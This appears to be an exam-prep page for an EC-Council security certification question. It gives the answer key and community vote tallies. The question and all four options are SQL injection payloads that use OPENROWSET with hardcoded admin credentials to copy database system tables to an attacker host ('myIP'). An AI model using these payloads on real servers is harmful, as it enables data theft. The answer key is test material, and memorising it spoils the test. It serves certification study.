EC-Council
412-79V9 · Question #91
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select from mydatabase.hacked_sysdatabases') select from master.dbo.sysdatabases - The query he used to transfer table 1…
The correct answer is C. OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_database.dbo.syscolumns -. See the full explanation below for the reasoning.
Question
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_sysdatabases') select * from master.dbo.sysdatabases - The query he used to transfer table 1 was: OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.table1 - What query does he need in order to transfer the column?
Options
- AOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_database.dbo.systables -
- BOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_database.dbo.sysrows -
- COPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_database.dbo.syscolumns -
- DOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN,Address=myIP,80;','select * from mydatabase.hacked_syscolumns') select * from user_tables.dbo.syscolumns -
How the community answered
(44 responses)- A9% (4)
- B5% (2)
- C84% (37)
- D2% (1)
Community Discussion
No community discussion yet for this question.